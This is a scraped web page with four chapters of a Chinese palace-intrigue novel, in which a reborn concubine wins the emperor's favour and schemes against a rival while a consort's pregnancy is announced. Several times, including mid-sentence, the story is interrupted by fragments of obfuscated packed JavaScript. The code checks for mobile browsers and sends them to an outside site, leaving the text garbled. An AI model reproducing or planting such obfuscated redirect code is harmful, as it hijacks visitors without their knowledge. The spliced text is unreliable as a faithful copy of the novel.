d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357214|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的折子推到一边,以手支颐,又抬抬下巴,示意她到跟前来。 他本意是唤她平身,再到近前。可颂兰只膝行过去,跪直身子,恰好同桌案齐高,颂兰便抬起双手,轻轻掀开了那只由他授命带进来的食盒。 “陛下案牍劳形,嫔妾服侍您用些甜汤吧?” 他伸手握住她柔若无骨的柔荑,娇软美人一下便被他拥进怀中。颂兰坐在皇帝膝上,伸手端过食盒中缠枝莲花纹的碗盏,冰镇过的雪梨汤触手生凉。 她用调羹舀了一勺汤水,轻轻侧首过去,喂到皇帝唇边。 李徴怔愣片刻,九五之尊的帝王,却如一只驯顺的猫儿般,乖乖张开嘴,让她将那勺甜汤送进嘴里。 颂兰微微一笑,想起了她历经重生前,看到的“话本子”中,书写的有关皇帝的评语—— 她所在的世界原是一本被人造出来的书。而那书里写,皇帝李徴虽然自小金尊玉贵,在锦绣堆里养大,可最渴望的却是母子天伦。那种情感,是贵为皇贵妃的太后从前无法细心给他的。 因而登位后,他宫内受宠的高位嫔妃,不是温婉者如淑妃,便是强势者如德妃、萧昭仪。书里的用词是“隐秘而轻微的恋/母/情/结”。 那书中的评语是怎么写的来着——“他始终渴求着年少时不可得的那种情愫,将亲情的缺憾在男女之情中需索。” 书的作者大概对他这般行径很是不齿,因为按照那书的说法,温昭昭身为“女主”,便很不符合皇帝这个“男二”的“取向”。可颂兰却觉得她很能体会皇帝的这般心情。 她亦是在亲缘浅薄的家庭中长大,懂得那种期盼。他想要的不过是发自真心的呵护——前世她虽得他垂爱,付出颇多,可唯一未曾交出的便是自己的真心。而他施舍给她的,亦不过身为帝王,能有的少许几丝真情罢了。 这一世既然打定主意要攀好这艘大船,那何不从一开始就投其所好呢。 见他受用,她瞬间胆大起来,将脸凑过去,轻轻啄了啄他唇边站着的一丝甜汤。 “甜的。” 他佯怒,“没见过你这般不守规矩的女子。放浪形骸,无法无天,简直……” 话音未落,她竟又送来一吻,堵住了他后边的话。这女子身若飘萍,在后宫中,惹怒了天子,即算是要她死也只是李徴一句话的工夫。 可不知为何,无论她何等胆大包天,哪怕勾得他白/日/宣/淫,李徴亦无法对她真正怒起来。 初见时只觉佳人妩媚,尔后端午殿前,她身处险境,却应对从容,便显示出过人的灵慧。 而当她小意婉转,柔若无骨地伏在他膝上,李徴方明白什么是“婉伸郎膝上,何处不可怜”,好似一支晚开的海棠,那吻灼灼盛放,端的是活色生香。 他已是天子。一个女子而已,要纵便纵着吧。 李徴一手环着她的纤腰,另一只手便伸过去,轻轻抚摸她的膝盖。 “往后别动不动便跪——还疼吗?” 她笑吟吟地,“您准我放肆,便不疼了。” 说话间,她娇娇环住他脖子,“您允准嫔妾先进您的养心斋,便不需过验身嬷嬷这关。您心疼奴家,奴家都晓得的呀。” 最后一句吴侬软语,勾得他心旌一荡,不由得想起了白日在御苑的种种荒唐。搂在她腰上的大掌一用力,痛得颂兰手上一歪,那盏甜汤便淅淅沥沥淋了些到胸前,沾湿了轻薄的粉衫。 李徴哼笑,“你倒乖觉。” 20. 弈杀 甜汤泼湿了衣襟,颂兰先是嗔怪:“湿了!” 语罢,俏脸“腾”地一红,不待皇帝出言逗弄,忙转了话题,“您顾着嫔妾的面子,给嫔妾留着体面,将、将白天那事遮掩了过去。嫔妾心中欢喜呢。” 李徴轻抚着她的纤腰,“你倒乖觉。可你是个不知羞的,白瞎了朕的心意。” 颂兰拖长嗓音,“噢”了一声,便道:“陛下嫌嫔妾不正经,那便做些正经事罢。” “你都会些什么?” 本只是随口一问,可颂兰坐直身体,正色道:“弈棋。” 李徴这才实打实一愣——她入殿时带来薄荷香叶,本以为只是随意为之,又或是以退为进。可她人都伏在了他膝上,却能一本正经讲出“弈棋”二字,不由得又让李徴对她多了几分审视。 确然如她所言,他并非重欲之人。白日那般偶尔荒唐放纵,不过贪一时的新鲜。 真到了夜里,他倒实打实淡了心思。若她一味奉承讨好,抑或是像容氏那般自怨自怜,他便不会那么将她放在心上。 人性,总是有点贱的。 不想乔颂兰却有这般心性。李徴来了兴味,托着她的肩,将她环抱着转向了一面样式古朴的格柜。 “那边屉子里有棋具,你去拿来。” …… 天光微明,东方现出淡淡的蟹壳青颜色。少女玉指捏着白子,托腮沉思片刻,便将棋子“啪嗒”往旁边的瓷罐子里一掷,欣然道: “您棋艺高明,嫔妾又输了。” 李徴抱着臂,凝眉盯着棋局思考一番,便将棋盘一推,笃定道:“你藏拙了。” 一夜,他们下了四局棋。三局和棋,一局他堪堪险胜。若说第一局时,他尚存了点轻视之意,那么到了后头几局,他已然渐渐忘我,沉入其中,不觉便打起了十二分精神,在方寸的棋盘上同她搏杀。 可她举重若轻,好似精心织就了重重陷阱,诱他步步深入,待他再反应过来时,已然落入彀中。 颂兰嫣然一笑,“嫔妾雕虫小技,若能搏您一笑,便不算辜负了幼时趴在私塾边上看先生同弟子弈棋,那偷师的辛苦了。” 李徴“唔”一声,那样子却是不十分信,“江南若有棋艺如此高明的师父,朕也想将他延请进宫,好好讨教一番了。” 颂兰凝眸望向盘上星罗棋布的黑白散子,“嫔妾幼时,先生便已是鸡皮鹤发,而今更是山人云游,不知在何处求道了。” 她把玩着一粒白棋,天家御用之物,皆在不起眼处彰显华贵。那黑白的棋子皆是由上等玉料琢刻而成,触手生润,散发出莹然暖意。 她柔柔一笑,“不若便由嫔妾代劳,陪您下棋,聊以解乏吧。” 酒遇知己,棋逢对手,便不觉辰光飞逝。李徴朗声一笑,扯下腕上坠着独山玉的菩提子手串,在桌面上不轻不重地磕了一磕,“今晚朕再来瞧你。” 颂兰不觉微讶——照前世进展,若无她横插一脚,此时应当是平西王侧妃失子,萧氏受到牵连,皇帝顺势宠幸了徐音若,连带着徐家在前朝亦水涨船高。 这背后想来少不得徐公爷的一番表忠心。可瞧皇帝今儿的意思,是想再陪她一天? 截了徐贵人的恩宠,不知又会引发什么变动…… 不过,虽然心内划过千般思量,面上,颂兰只是笑意婉然,“那便多谢陛下抬爱了。” …… 才回浣花坞,晋封她为正八品娘子的口谕后脚便传了回来。来传旨的,便是曾宣梁芳玉去侍寝的那位卢女官。 颂兰福身接了旨,卢女官便道:“小主,按例娘子位分,应拟二字封号。您已有了‘蕙’字为号,一般便只是择名字中任一字眼充作二字而已。不过今日张公公来传旨时,特意传了陛下的意思:特赏您‘蕙心’二字,往后便称‘蕙心娘子’。” 颂兰微微一愣,忙谢恩道:“陛下心意,嫔妾感激不尽。” 卢女官方展颜笑道:“张公公已与彤史们打好招呼,今夜仍是浣花坞卸灯。” 顿了一顿,复又别有深意地添了一句,“小主慧心兰性,往后定能造化无限。”又道: 卢氏性格刻板沉稳,身为彤史女官,向来不假辞色,甚少对妃嫔们说出这般露骨的赞辞。颂兰心中一动,面上只做出谦和的笑,依礼谢恩,并不搭后头这句话。 卢女官亦不恼,维持着和煦笑容,接了霜降递过去的赏银,福了福身便告辞了。 主子得幸,浣花坞上下皆是一片喜气洋洋。各宫依礼来送贺礼者络绎不绝,安桂在前头迎来送往,小卓子去尚寝局领了两盆石榴花来,喜滋滋地摆在了殿门口,左右各一盆,好似两株火烧艳红的门神。 颂兰道:“这榴花已到了末季,搬出暖房,便活不了多久,何苦还教它们来这走一遭。” 小卓子笑嘻嘻道:“这花儿原本就是供贵人们赏玩的,开一夕也好,一年也罢,总归入了您的眼,亦不枉花神娘娘下凡来走这一遭了。” 颂兰扶了霜降的手,叹道:“宫中女子何尝不是如这花一般。使尽百宝,若能求得一夕一岁的盛放,亦算是有幸了。” 皇帝虽内宠不多,可亦有胡美人、舒贵嫔之流,肉眼可见只能在寂寂深宫中无望地了此残生。与她们同批入宫者,也有孙、林三位良家子,甚至尚未得见天颜。 见小主似有些伤怀,小卓子忙作势要掌自己嘴,“都怨奴才不好,没得说嘴,惹小主不快。”说着又要去搬那花:“这花不好,奴才这就撤了。” 颂兰掌不住笑,道:“我不过随口一句,你何苦折腾那花。放便放着吧,颜色喜庆,瞧着也欢喜。” 小卓子这才又露了笑。颂兰一夜未睡,正觉困倦得很,便叫下人们都散了,进内室歇下了。 待到再醒转,已是午后。雨歇初霁,晴阳顺着窗棂洒进内室,满地流光。霜降端了碗枣儿粳米粥进来,温声道: “小主今儿没用早膳,又睡了半日,想来应用不进油腻荤腥的菜。奴婢特意叫莲儿她们去领了甜粥回来,温温糯糯的,正好克化呢。” 颂兰心中一暖,道:“你有心了。” 因着在自己的宫室,便没那么多拘礼。颂兰接了粥碗,就坐在床边,慢慢地啜饮着温润的粥水。才吃了两口,素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15369066|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿却行至门边,打了帘子轻声道: “小主醒了么?延禧宫的温常在来了,带了些礼,说是贺您晋封之喜。” 颂兰捧着碗的手微微一顿,嘴角便弯起一个浅笑: “难得姐姐有心。你去禀了温小主,就说我打扮停当便出去见她。” 待收拾好来到外间,温昭昭果然已坐在桌前等候。因着“抱病”,她双唇还有些矫饰过的苍白。 一见颂兰,她瞬间露出个极喜悦的笑,“妹妹得此喜讯,我真替你高兴。” 端的是一副姐妹情深模样。颂兰温婉一笑,执了温昭昭的手在桌边坐下,“姐姐身子可好些了?” 温昭昭一愣,神色有些躲闪,勉强道:“好些了,不过,仍是不大能见风,怕是侍奉不了陛下。” 她作出神伤情态,二人虽对其中关窍心知肚明,却又是各怀心思。颂兰只顺着她话头道: “姐姐年轻,好生调养着,会有好的那一日的。” 温昭昭只报以讪然一笑,忙又道:“我位卑无宠,宫里亦没什么好东西。只这匹杭绢,是我从家中带来的体己物,还算能入眼,便添给妹妹,做个好彩头罢。” 颂兰忙推拒道:“这样好的东西,我怎好占姐姐的便宜。” 温昭昭笑容有些惨淡,摇头道:“你我之间,何须这般客气。姐姐无福,不能得见天颜,再妆饰亦是枉然……再好的料子,白白搁在我那儿也用不上。” 她抬起眼,细细端详着颂兰的脸。颂兰被她瞧得有些脸红,只别过头去,赧然道:“姐姐。” 温昭昭有些意味深长道:“妹妹雪肤花貌,衬这上好的料子,方不算辜负呢。” 颂兰试探着问她:“姐姐才貌出众,当真甘心从此无名,寥寥此生吗?” 她压低声音,“因着端午之事,萧昭仪近日沉寂,想必分不出精力对付姐姐。姐姐若有心,眼下正是抓住圣心的好时机。” 从前温昭昭拿嘉妃做托辞,眼下可没了这尊大佛—— 温昭昭神色微动,想来是没料到颂兰竟如此尽心,一心为她“筹谋”争宠,忙捏了帕子,作势咳嗽两声,敷衍道: “那也需得从长计议——我这身子,不是一时半刻能调养好的。” 复悄声道:“不过妹妹,此番我来,实还是有一桩事想同妹妹说。” 她环顾四周,面露难色:“正殿人多口杂,不知可否移步内间一叙。” 颂兰道:“姐姐便如我的亲长姊一般,自是无妨的。” 二人携手进了内室,温昭昭方露出惊惶神色,“妹妹昨日侍寝辛苦,怕是还不知道——你我二人冲撞废妃汪氏一事,并非意外,而是有人刻意为之。” 她面色煞白,颂兰讶然道:“姐姐此话何意?” 温昭昭咬唇,“这件事,皇上原是交给宫正司去查,又由御前副总管太监曹公公跟着督查。汪氏没有子嗣,亦失势已久,本要以意外草草结案了。可……查来查去,不知怎的查到了冷宫的侍卫们头上。” 她一眨不眨地盯着颂兰,眸色渐深,“我有一位故人,恰好便在冷宫中当值。” 21. 蕙心 内室中一时间格外寂静。温昭昭刻意停下来止住话头,见颂兰只一味不解,眼神中的清澈不似作伪。心中不免一突,又拣起话头,慢慢道: “我伯父曾是塾师,那人是伯父的学生,我二人这才在幼时有过几面之缘。不想有这样的机缘,在宫中又遇着了他。念着同乡情分,他这才同我多说了几句。” 温昭昭绞着手中的帕子,涩道:“汪庶人年轻时受惊太过,早已是个不顶事的疯人。冷宫里的侍卫们一向只将她锁在屋里,到了送饭的点,由公公们从窗子里塞进食盒子便是了。可那日不知怎的,那门锁竟松了,且那日当值的原本不该是我那同乡,可轮值时本该当差的那人却说闹肚子,这才由我的同乡顶了缺。” 说到这,温昭昭面上隐现出愀然不乐的神情,“我那同乡原本还有些挣一挣的想望,可出了这事,难免沾惹了一身腥。曹公公不愿细查,只说是老鼠咬断了锁,照意外结案了……到底连罪到了他身上,往后的路,怕是难走了。” 她自顾自说得入巷,陡然惊觉屋中不知何时变得很安静,只有她一人絮絮说着的声音。 再一抬头,颂兰正似笑非笑望着她,双目澄澈,可那笑影子不知为何,好像沾了些幽微的讽意。 可她再细看去时,那点讽刺已如碧波潭上的一点涟漪般消失无踪。 颂兰擎过一壶茶,不紧不慢地斟了一杯,“姐姐说了这许多,口干舌燥,先喝口茶润润嗓子罢。” 温昭昭自知失态,只勉强讪道:“我原是关心则乱,叫妹妹白担心了。” 颂兰将茶杯推向过去,纤细的秀眉轻轻扬起,“哦?妹妹只觉得姐姐好似是很关心那位同乡。只是咱们已成天家侍妾,便是从前宫外有什么知己,都是得放一放的。” 这话说得唐突,温昭昭本没那般心思,却正被此话戳中了真正隐秘的心事,心下一惶,几乎连体面的微笑都维持不住,“妹妹说笑了,自踏入宫门的那刻起,咱们自然都是一心向着皇上的。” 颂兰便端起茶杯,也抿了一口茶,“这便是了——总之咱们也没真伤着什么。姐姐因着此事日夜忧惧,皇上为此罚了那侍卫,也算事出有因,更是心中装着姐姐呢。” 温昭昭自嘲一笑,“我自入宫以来,除了在延禧宫中昏着的那时候,哪里还见过皇上呢。” 她摇头,“总归我是个没福气的。” 颂兰捏着莲花纹白瓷胎杯子的手微微一紧,旋即便道:“那么方才姐姐来时,说此事是有人算计,是……” 她以询问的眼光望着温昭昭。温昭昭被她瞧得有些不适,只别过脸去,故作淡然道: “我只觉着此事疑点颇多,按说那宫门的大锁都是铜铸的,怎会叫老鼠咬坏呢?况且偏就在咱们走过去的时候教人出来了。” 颂兰道:“世间之事,原本就有种种巧合。我同姐姐说句知心的,咱们入宫时日尚浅,前头还有家世高贵的徐贵人、容常在等挡着,左右碍不着谁的眼。” 温昭昭张了张口,却又被颂兰说得哑口无言,只讷讷道:“总归是有些晦气的。何况,入宫第一日,我便招惹了萧昭仪……” 颂兰道:“那日情势紧急,萧昭仪纵是手眼通天,仓促之间也无法布置这么个局。” 她倾身向前,握住温昭昭的手,“曹公公已将此事以意外结案,姐姐莫再多心,免得落人口舌。” ——温昭昭自然知道冷宫那事不会是萧昭仪的手笔。可那日巧合太多,她回去左思右想,似乎确是跟着颂兰的步子,才不知不觉间走到了冷宫附近。 今日来到浣花坞,她原是有些疑心颂兰的。 但她又一想,乔颂兰不过一个初入宫廷,无依无靠的低位嫔御。连萧昭仪都没有布下这般局的能力,难道她乔颂兰就有吗? 望着浣花坞鄙陋的内室,温昭昭放了心。她愧道:“妹妹说的是,原是我想岔了。” 颂兰浅浅笑道:“姐姐能想通便好。” …… 送走了温昭昭,霜降端着一壶花茶进来: “小主说了半天话,喝口玫瑰花茶罢——那香片茶苦,小主一向更爱吃甜的。这茶虽不名贵,但泡茶的水是去岁松柏枝上的雪水,有些清香,便中和了玫瑰的甜气。” 颂兰微微一笑,“你惯是个心细的。这些茶水上的事教莲儿心儿她们做就好了。” 霜降抿唇谦恭一笑,道:“今儿是小主的喜日子,莲儿心儿正跟着安公公在后头拾掇各宫主子们送来的贺礼呢。左右都是侍奉小主的,她们做,和奴婢做都是一样的。” 颂兰接过换上来的那盏新茶,轻吹散了上头氤氲着的袅袅热气。 “我知道你心细——有什么想问的,这会便一概问了吧。” 霜降笑道:“小主冰雪聪明,奴婢的一点心思,在小主跟前是一点儿也掩不住。” 旋即肃容道:“奴婢与小主荣辱一体,便总希望着是能想小主所想,忧小主所忧。” 她斟酌着词句,“小主入宫也有半月余了。奴婢同小主相处着,私心里觉得小主深谋远虑,行一步,便预见到了往后的三步、四步。那时奴婢奉小主之命,去教冷宫当值的同乡侍卫弄坏了锁,又换了班,果然令他避了汪庶人之祸。 “奴婢想着,小主大约也没那般闲心,去操心奴婢一个不甚熟的同乡。奴婢愚见,当时还以为小主是想藉此在皇上跟前露脸。可眼下看来,小主似乎意不在此,而是……” 霜降斟酌着词句,“不知温小主同小主的关系……” 玫瑰花茶入口生津,回甘时果然有松柏与桂枝的清芬。颂兰闻言并未直接应答,而是反问道: “那么以你看来,我同温常在当是什么关系呢?” “初在延禧宫时,奴婢以为温小主是小主贴心的密友。”霜降微微沉吟,“那时小主为了温小主出头,不惜顶着当时的嘉妃娘娘的威势,在延禧宫时,对温小主似乎也多有关心。后来温小主将那药方之事托付与小主,奴婢便觉着温小主是有自个儿私心的。但……如此隐秘之事,她亦敢拉小主入伙,那么对小主似是有信任的。” 她清秀的面庞上浮现出思考的神色,“不过今日小主获喜,温小主前来,似有愁容。奴婢不敢探听小主的密话,只觉得温小主不似一心替主子高兴似的,又见她提起前事,这才略多了心。” 她蹲下福身道:“还请小主恕奴婢多言之罪。” 颂兰忙伸手过去,扶她起来,“你是为我,又何罪之有呢。我既许你问,自然不以为忤。” 霜降试探道:“那么今日,若能得小主的一句准话,往后奴婢们应对延禧宫那边,心中便有谱了。” 颂兰冷笑一声,“那若我说,她是同我有血海深仇、不死不休之人呢?” 霜降一惊,却是没想到会从小主口中得到这般答案。然而她只微微一愣,旋即福身道: “奴婢既已跟了小主,定然誓死追随,事事以小主为先。” 颂兰道:“那日冷宫的布置,确是冲着温昭昭而去。那日被换去当值的侍卫原是她的故交。那人眼下虽只是个冷宫的二等虾,可在宫中当值,难保没有出头之日。我不过防范于未然,想削弱她的臂膀罢了。” 她深深凝望着霜降,“至于那日,我问你是否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382657|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在冷宫有熟人。你既说出那同乡,便证明是你信得过之人。我顺带助他一臂之力,不过顺水人情,亦是同样的道理——防患未然。” 闻言,霜降深深拜倒,“虽奴婢不知背后隐情,但从这几日同小主的相处,奴婢看得出小主心有沟壑,绝非糊涂之人。” 她微红了脸,“至于小主对齐宁的恩情,奴婢先替他谢过了。” 前世汪庶人发疯的事发生在小半年后,而受罚牵连的那侍卫,便是霜降认识的这位齐宁。他二人青梅竹马,可当时汪庶人冲撞的乃是有孕的嫔妃,导致那妃子小产滑胎。 因而当值的齐宁,便不只是罚了俸禄这么简单。直接被罚了杖刑,从此成了个废人。 而这不过是温昭昭的一石二鸟之计——她与裴抒既是要篡位的,又怎会容许皇帝子孙昌盛。温昭昭在暗处怂恿着颂兰不断谋害龙胎,用的还尽是教颂兰伤敌一千、自损八百的膈应法子。 这一世拉扯齐宁一把,权当还了前世的债。 至于温昭昭所说,她认识的那位同乡陈子衿,便是这书中的“男三”——温昭昭虽与裴抒情深意笃,可若无旁人衬托,怎显示他们的情深呢? 而内廷侍卫陈子衿,便是温昭昭的拥趸之一。颂兰死后纵览那话本的全篇,发现前世他一路青云,做到御前侍卫,简直如被下了降头般,对温昭昭不离不弃。在温昭昭身居低位时,亦是靠着陈子衿多次关怀,日子方没那么难过。 而颂兰的“弑君”计划能够如此顺遂,亦离不开陈子衿在御前行的方便。 如今辅一入宫,便将陈子衿的晋升之路先扼杀在摇篮里——一石二鸟么,谁又不会? 这条臂膀被一朝斩断,端看未来温昭昭还能不能走得这么稳当了。 霜降语气决然,“小主的仇人便是奴婢的仇人。只要是小主想好的事,奴婢愿为小主效犬马之劳。” 见此,颂兰亦有些动容——霜降对她的两世忠心都不掺杂半分杂质。 她扶起霜降,“你的心意我已知晓。深宫之中步步艰难,但只要我尚有余力,一定尽力庇护你们,教你们跟着我过好日子。” 霜降将手叠在颂兰手心,恭敬道:“那奴婢便祝小主心想事成,这样奴婢亦好沾光。” 主仆二人闲话了一会儿,莲儿便来到内室门口,撩起起帘帐,笑盈盈道: “小主,各宫送来的贺礼,奴婢们基本拾掇停当了。安公公带着单子在外头等着给小主回话呢。” 穿过垂花珠帘,安桂果然手执一纸礼单,正在外间垂手恭敬立着。见颂兰出来,忙打了个千儿上前道: “小主,各宫主子们的礼都在这了。其中,德妃娘娘送了一对金底嵌翠蜜蜂耳坠,萧昭仪的礼单里有一对烧蓝葫芦小簪、一支鸾凤羽珠步摇。” 安桂手上捏着礼单,欲言又止,抬眸望了一眼颂兰。颂兰闻言,淡淡一笑,道: “嵌翠耳坠名贵,非正八品位分可用,那凤羽步摇就更不必说。至于烧蓝工艺,虽不复杂,到底也有些逾越了。” 见小主并无恼意,安桂这才松了口气,“小主见识深远,原是奴才多虑了。” 颂兰道:“宫中嫔妃位分悬殊,像德妃、萧昭仪等,便是从手指缝里漏下来一点儿,也是我们攀不上的富贵。只是这些东西华而不实,若我戴着出去招摇,便有僭越之嫌,否则便只能留在宫里落灰。” 闻言,安桂并不接茬,只含了恭谦的笑,福身颔首。 颂兰便闲闲一笑,“不合规矩的,便好生收纳起来。若有合用的,我便带出去招摇一番——总不能承了人家的情,还藏着掖着。” 22. 闻喜 一连三日,皆是浣花坞新晋的蕙心娘子侍寝。 若说最开始,得知这“蕙心”二字封号时,许多高位的老人尚且不屑一顾。 那么接连三日的专房之宠——几乎只有荣宠最盛时的萧元姝有此殊荣,足够让一些人心生忌惮了。 怡春宫,含香殿。 淑妃端坐在合福二仙花梨木小机子旁,正闲闲拨弄着手中颜色繁丽错杂的丝线。虽已贵为四妃之一,像绣手帕、香囊一类的事,她仍常亲力亲为。 日常亦甚少穿金戴银,只佩几朵清透晶莹的料器珠花,身着一条简素的湖水绿留仙裙,宛如寻常人家的娇妾一般,只气质卓然,益发显得风姿楚楚。身旁有稚龄小宫婢侍奉在侧,纤手剥了一只春橙,用银签签了,奉给淑妃享用。 下首坐着苏嫔苏绡筠,正是与淑妃同住一宫的低位宫嫔。苏嫔家世不显,乃是皇帝还在东宫时由民间选拔上来,充盈内廷的女子。一张圆团脸颇有福相,不过清秀之姿,乃是因着沾了些“宜男相”这才有幸成为天子宫嫔。 她自潜邸时便依附着淑妃沈璟若。淑妃总是那样一副淡淡的模样,虽不大提携她,可沈氏对自己的恩宠都不甚上心的样子,苏嫔便是想怪,也无从怪起。 总之淑妃对她虽不算有恩,到底为她提供了一份庇护,又容她做到了嫔位。往后若真能生下一男半女,再往上够一够,做个贵嫔亦不是全无想望。到了那时,成了一宫主位,孩子亦能养在自己身边。 思及此处,苏绡筠不由得抬手抚上了自己平坦的小腹。 淑妃签了一块橙子慢慢吃了:“蕙心娘子容色清艳,聪颖敏慧。陛下愿意爱着、宠着,又有什么稀奇的。” 她缓缓道:“不是她得宠,亦会是旁人。本宫总是不愿斗的——要斗,便留给她们斗去。” 苏嫔忙奉承道:“宫中谁不知娘娘最是人淡如菊,就连皇后娘娘,亦敬娘娘品性高洁。” 她顿了顿,又赔笑道:“据说韩妃娘娘宫里可摔了好几个杯子呢……嫔妾自然知道娘娘并非那等不体面之人,是以也从不敢来说嘴些争风吃醋之事扰娘娘清听。嫔妾今日前来,乃是有旁的事想禀与娘娘听。” 淑妃理着丝线的手微微一顿,素眉轻挑,苏嫔带了些羞赧,轻声道:“前些日子臣妾时常身上不适,昨儿召了太医来瞧,太医说臣妾已有两个月的身孕了。” 闻言,淑妃一愣,一双妙目下意识地望向苏嫔的肚子。 不过片刻,她便恢复了素日的沉静。眉间如常般笼着几许清愁,淡淡道: “皇后娘娘为后宫之首,德妃协理六宫之事。苏嫔有喜,怎的先报到了本宫这儿。” 苏嫔只觉得脊背后已然发了一层薄汗,忙谦恭道: “嫔妾自潜邸时便跟着娘娘,娘娘又是怡春宫主位,嫔妾自然想着先告与娘娘知晓,亦不算乱了尊卑。” …… 四日后,景阳宫。 自蕙心娘子三日专宠后,皇帝终于翻了一次徐贵人的牌子,也算是将徐音若从阖宫瞩目的窘境中解脱了出来。 侍寝次日,徐氏便晋为了从五品贵仪。除她以外,宫中还有位刘贵仪亦居此位。不过刘氏无宠,这贵仪位分乃是熬资历熬上来的,自然不比豪门出身的徐音若身份贵重。 这一日终于待到了五月十五的请安日,比之月初新美刚入宫时,后妃们的格局已发生了大变化。 出身官家的梁氏、容氏相继沉寂,被众人寄予厚望的徐氏亦恩宠平平。反倒是名不见经传的乔氏风头最盛,虽位分不高,可那恩宠却是实打实的。 辰时三刻,宫门洞开。众妃们莺声燕语,按着次序请安。除了惯例缺位的舒贵嫔和受罚禁足的萧昭仪,其余人倒都按时来了。 众人依次落座后,景阳宫的小内侍便抬出一筐盛在青丝篓中的蜜橘。皇后含笑道: “陛下体恤后宫,这蜜橘乃是江南进贡的佳品,母后与陛下那儿各得一篓,余下的便分给各位姐妹们尝鲜。” 众人忙起身谢恩:“谢皇后娘娘恩典。” 自有小宫婢将果子分了。韩妃爱逞口舌之快,见众妃皆剥着橘子,唯有苏嫔手上不动,立刻出言道: “苏嫔从前也不挑口啊,怎的今儿这橘子是不合胃口么。” 苏嫔素来不甚出挑,一朝被韩妃点名,忙起身告罪,却不是冲着韩妃,而是面对着皇后: “还请娘娘恕罪。嫔妾并非有意无礼。前些日子太医来怡春宫验过,嫔妾已有两个月的身孕了。” 皇帝内宠不多,子嗣亦不丰。已故的元后曾生嫡长子,可大皇子继承了母后孱弱的体质,年仅两岁便在襁褓中夭折。其余妃嫔皆无所出,是以苏嫔这一孕,真如石破天惊般,一刹那便吸引了殿中所有人的目光。 嫉妒者有、艳羡者亦有。苏嫔道:“实在是嫔妾孕中不适,闻见酸味便犯恶心,无福消受娘娘美意了。” 韩妃亦没料到自己随口的一句讽话招出来了这么大个消息,盯着苏嫔的肚子脱口而出: “都说酸儿辣女,苏嫔吃不得酸,就算有了也多半是个没福气的女儿。” 苏嫔一时便讪讪的,还是淑妃道:“韩妃出身高丽,怕是有所不知,李朝官话所说‘酸儿辣女’,乃是互文之义,指孕中女子多喜食酸辣而已。何况陛下的子嗣,无论皇子还是公主皆是金枝玉叶,岂有公主便是无福之说呢。” 淑妃一向少言寡语,此番为苏嫔出言,仿佛在向在场诸人表明立场:苏嫔这胎,她是打算保着了。 韩妃惊觉自己失言,虽心有嫉恨,可淑妃如此表态,当着皇后的面,她到底按捺了妒意,勉强道:“是本宫没见识了。” 颂兰慢慢剥了一枚红橘,橘瓣入口绽开绵长的酸意,不知正合了眼下多少女人心中的酸苦。 皇后和颜道:“今日十五,按例陛下是要来景阳宫陪伴本宫的。可宫中有喜,本宫自会禀了陛下,去陪伴苏嫔同腹中的龙胎。” 皇帝与皇后只是虚应故事,宫中亦无人在意皇后那初一十五蜻蜓点水的“素恩”。不过得了皇后金口玉言,苏嫔自然又是忙着谢恩。 皇后笑道:“你既有孕,便不必总拘着这些礼数了。你孕育龙嗣有功,本宫也会向皇上进言,将你的位分提一提。” 言罢,她看向德妃。德妃会意,凝声道:“太医院那边,臣妾会好生打点。” 众人皆知,这照顾龙胎的杂事,最终还是要落到德妃手上。皇后年纪太轻,对妇女生育等事终归不那么通晓。 德妃思忖片刻,一双美目眼波微曳,便含了如春风般的和煦,望向了座旁的淑妃。 “苏嫔本是淑姐姐宫中的人。怀胎辛苦,姐姐既与龙胎同住一宫,那日常不如便由姐姐来替苏嫔看顾一二吧。” 既然淑妃已经摆明态度,德妃自然乐得清闲。照顾别的女子的胎实是吃力不讨好,宫中的孕妇最是娇贵——就端看那平西王的杜侧妃罢!若不慎有个什么三长两短,还容易惹得一身腥。 淑妃含了宁和的微笑,“苏嫔妹妹与本宫自东宫时便相伴,苏妹妹的胎,本宫自然会照拂。” 德妃便勾唇一笑,“皇后娘娘与淑妃姐姐慈爱悯下,实乃苏嫔的福气啊。” …… 当晚,晋封苏嫔为贵嫔的旨意便晓谕六宫。不仅有连升两级的隆宠,还由太后亲赐了封号“宜”,又连夜送了一尊玉制的送子观音进怡春宫棠杏阁,可谓是给足了苏嫔脸面。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399661|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 